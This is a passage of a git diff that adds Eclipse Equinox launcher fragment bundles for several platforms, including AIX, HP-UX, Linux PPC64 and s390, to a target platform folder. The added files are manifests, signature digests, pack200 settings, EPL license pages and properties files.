(osgi.arch=ppc6 + 4)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.aix.ppc64 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="1.0.0" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.aix.ppc64 +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.gtk.aix.ppc64;tag=v20110530 +Bundle-Version: 1.1.0.v20110530 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1407.so +SHA1-Digest: e21OpymD2mLcu+d1eAlX9LeYH38= + +Name: launcher.gtk.aix.ppc64.properties +SHA1-Digest: 86KUvEXxOzETJa4JDggSxwPdUUc= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/eclipse_1407.so new file mode 100755 index 0000000..0ecaa5a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/launcher.gtk.aix.ppc64.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/launcher.gtk.aix.ppc64.properties new file mode 100755 index 0000000..425bb64 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/launcher.gtk.aix.ppc64.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher GTK AIX PPC64 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..feaec70 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..6a25483 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: iMalhca/FlqC9CEVYrryUpdavOw= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: Oiffial2URbEvw/PcE8dtqzcqNI= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: nYUXoultxMXT1izpqt7GZTrpMF0= + +Name: launcher.gtk.aix.ppc.properties +SHA1-Digest: l73WSgtqGyjcSHgDpGXwghjVgzc= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/MANIFEST.MF new file mode 100755 index 0000000..0e3420b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/MANIFEST.MF @@ -0,0 +1,27 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=aix) (osgi.arch=ppc) + ) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.aix.ppc +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="1.0.0" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.aix.ppc +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.gtk.aix.ppc;tag=v20110530 +Bundle-Version: 1.1.0.v20110530 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1407.so +SHA1-Digest: N313558Vrgd7+gKJhebo6k4I0h0= + +Name: launcher.gtk.aix.ppc.properties +SHA1-Digest: kM/U3pkXMgzywU/cID5606Xh/IA= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/eclipse_1407.so new file mode 100755 index 0000000..872a521 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/launcher.gtk.aix.ppc.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/launcher.gtk.aix.ppc.properties new file mode 100755 index 0000000..2dcd7a3 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc_1.1.0.v20110530/launcher.gtk.aix.ppc.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher GTK AIX PPC Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..ceacd6c Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..be697d1 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: rA8F2R0hk4vdPFhI21JQTRCZnkw= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: F3VtOuWa7GKQ/iJW1pTiohCFf7o= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1406.so +SHA1-Digest: GkesW1S5nfcnyQGxk1nNFWoL+g8= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + +Name: launcher.gtk.hpux.ia64_32.properties +SHA1-Digest: n/WZ6jB9ZbQWf4ic83Fcqbxi0Ag= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/MANIFEST.MF new file mode 100755 index 0000000..1988624 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/MANIFEST.MF @@ -0,0 +1,27 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=hpux) (osgi.arch=ia6 + 4_32)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.hpux.ia64_32 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="1.0.0" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.hpux.ia64_32 +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.gtk.hpux.ia64_32;tag=v20110502 +Bundle-Version: 1.0.0.v20110502 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1406.so +SHA1-Digest: OGyy2mZXxbiLCJ13NWnYT1+2WGA= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + +Name: launcher.gtk.hpux.ia64_32.properties +SHA1-Digest: NhZYmk0iZlI/HMjh0bhtDjZ0rNQ= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/eclipse_1406.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/eclipse_1406.so new file mode 100755 index 0000000..ebf16f3 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/eclipse_1406.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/launcher.gtk.hpux.ia64_32.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/launcher.gtk.hpux.ia64_32.properties new file mode 100755 index 0000000..ae7515a --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.hpux.ia64_32_1.0.0.v20110502/launcher.gtk.hpux.ia64_32.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2010 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher GTK HPUX IA64_32 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..c401055 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..a1ea81f --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: cXj9FlJzCJPpzfL+EJM3mdnQDLo= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: AaEGQa5lpq0+LoNahSSmR59C/Uk= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: AvEGGhgC2jbvhek6wFfNN3Z0/m0= + +Name: launcher.gtk.linux.ppc64.properties +SHA1-Digest: PUgNQzlTIf6bmzunMLnYhujfExA= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/MANIFEST.MF new file mode 100755 index 0000000..a8b3294 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=linux) (osgi.arch=pp + c64)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.linux.ppc64 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.linux.ppc64;sing + leton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.gtk.linux.ppc64;tag=v20110505 +Bundle-Version: 1.0.100.v20110505 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: launcher.gtk.linux.ppc64.properties +SHA1-Digest: Bmp3XgQvfDTs4UjtB3fTTFlIrn0= + +Name: eclipse_1407.so +SHA1-Digest: x5qHgn4fUPOgoubvzPrfvMt3xKw= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/eclipse_1407.so new file mode 100755 index 0000000..51aeedf Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/launcher.gtk.linux.ppc64.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/launcher.gtk.linux.ppc64.properties new file mode 100755 index 0000000..6240308 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.ppc64_1.0.100.v20110505/launcher.gtk.linux.ppc64.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Linux PPC64 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..9d9f037 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..4b8d5e6 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: riENmbaNTPKXa3ffRljy6GTINyg= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: 68Kt/4D1JBRo7x2o7nHqxnGHbY4= + +Name: launcher.gtk.linux.s390.properties +SHA1-Digest: m2SDWPpvUY7ezcd0qRKPvj99fgM= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: ZF2XDDdjMbU+10gQkduhRAqTX0E= + +Name: about.html +SHA1-Digest: 2qoLi08hXqaqRFVXhhrJoHc9bbg= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/MANIFEST.MF new file mode 100755 index 0000000..42230dc --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/MANIFEST.MF @@ -0,0 +1,28 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=linux) (osgi.arch=s3 + 90)) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.gtk.linux.s390 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="1.0.0" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.gtk.linux.s390;singl + eton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/co + ntributed/org.eclipse.equinox.launcher.gtk.linux.s390;tag=v20110505 +Bundle-Version: 1.1.100.v20110505 +Bundle-ManifestVersion: 2 + +Name: launcher.gtk.linux.s390.properties +SHA1-Digest: xaHNhZfF0M474k6N/SBWX/DY9MM= + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1407.so +SHA1-Digest: U0Dg9y7izyDORoVYf0oBHpHskAU= + +Name: about.html +SHA1-Digest: +10GbQayJYlMl3AbClvrqVz4gCk= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/about.html new file mode 100755 index 0000000..985239a --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/eclipse_1407.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/eclipse_1407.so new file mode 100755 index 0000000..725e3ba Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/eclipse_1407.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/launcher.gtk.linux.s390.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/launcher.gtk.linux.s390.properties new file mode 100755 index 0000000..92b1db4 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390_1.1.100.v20110505/launcher.gtk.linux.s390.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2007, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher Linux s390 Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..4551901 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.linux.s390x_1.1.100.v20110505/META-INF/ECLIPSEF.SF 